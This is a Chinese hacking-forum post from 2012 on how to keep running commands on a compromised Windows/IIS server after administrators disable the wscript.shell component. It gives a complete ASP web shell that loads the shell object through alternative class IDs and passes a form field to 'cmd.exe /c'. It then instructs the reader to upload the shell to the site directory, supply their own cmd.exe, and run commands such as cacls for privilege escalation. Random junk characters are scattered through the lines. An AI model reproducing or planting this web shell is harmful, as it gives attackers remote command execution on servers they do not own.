找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2111|回复: 0
打印 上一主题 下一主题

wscript.shell删除解决办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:36:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
可能有很多人,看到关闭了wscript.shell,就感觉没提权的希望了。就会放弃。
2 T; u9 J( A' Q& c" J一般当闭上面组件时,你上传cmd.exe到上面去是运行不了命令的。运行时会说出错。
5 J5 L, k/ B7 m' N; `- L要想让运行命令可以试试这种方法,成功率为五五之数。
" |$ D: N+ ^/ n, w# F把下面代码复制:
3 T& d9 K. W4 W% e<object runat=server id=oScriptlhn scope=page classid="clsid:72C24DD5-D70A-438B-8A42-98424B88AFB8"></object>$ e& ~$ |+ U+ w' P
<%if err then%>& Z3 ]$ N1 q- j/ V6 s; B8 t
<object runat=server id=oScriptlhn scope=page classid="clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B"></object>
% U1 }. X) A$ \, m- f3 J6 E<%
& b' s/ g4 T; ]* u, z; [+ P, m; G  ^0 P/ Kend if9 u. S5 H/ w/ ?/ k
response.write("<textarea readonly cols=80 rows=20>")9 M! W; r! G1 ?; k7 q, k
On Error Resume Next% H1 |# v, B. ?6 u. i% b1 v
response.write oScriptlhn.exec("cmd.exe /c" & request("c")).stdout.readall2 L* R0 t* k* N" o
response.write("</textarea>")! m! D" u0 K! i; y/ k$ l# T
response.write("<form method='post'>")
4 F  F! F& \5 B6 b. E/ s* v8 Aresponse.write("<input type=text name='c' size=60><br>")
5 T3 R4 c9 j, b" Z1 }. x& Z9 a/ |response.write("<input type=submit value='执行'></form>")
1 y) c7 J" O, n; g%>
6 c; I) P# A4 P6 W  f& Y1 j( F1 V9 X9 K
保存为一个asp文件,然后传到网站目录上去
8 \4 ~: n5 ^% X0 K  s  C运行的时候可能会出现两个问题,第一是运行了为什么运行不了命令,这个你可以试着再上传个cmd.exe然后把路径写入上面代码。8 [* H# F4 A( I" d* y& V- l
我用此成功运行过cacls命令。
2 b  c$ A' H6 k- A$ k1 d- e
) Z. e" M6 r' K+ R第二那就是运行时出错,可能限制某些代码执行
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表